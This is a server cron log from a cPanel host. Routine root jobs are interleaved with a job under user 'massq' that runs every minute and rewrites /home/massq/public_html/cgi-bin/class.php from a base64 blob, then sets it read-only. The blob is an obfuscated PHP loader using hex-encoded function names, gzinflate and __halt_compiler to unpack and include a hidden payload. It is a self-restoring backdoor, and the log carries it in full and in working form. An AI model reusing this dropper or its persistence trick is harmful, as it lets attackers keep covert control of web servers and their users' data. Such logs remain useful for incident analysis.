Nov  9 16:29:01 server CROND[12923]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:30:01 server CROND[13754]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 16:30:01 server CROND[13759]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov  9 16:30:01 server CROND[13758]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 16:30:01 server CROND[13762]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:30:01 server CROND[13761]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 16:31:01 server CROND[14635]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:32:01 server CROND[15468]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:33:01 server CROND[16282]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:34:01 server CROND[17142]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:35:01 server CROND[18047]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 16:35:01 server CROND[18053]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov  9 16:35:01 server CROND[18054]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 16:35:01 server CROND[18050]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 16:35:01 server CROND[18063]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:36:01 server CROND[18984]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:37:01 server CROND[19959]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:38:01 server CROND[20771]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:39:01 server CROND[21587]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:39:01 server CROND[21588]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 16:40:01 server CROND[22401]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 16:40:01 server CROND[22403]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 16:40:01 server CROND[22404]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:40:01 server CROND[22406]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 16:41:01 server CROND[23322]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:42:01 server CROND[24167]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
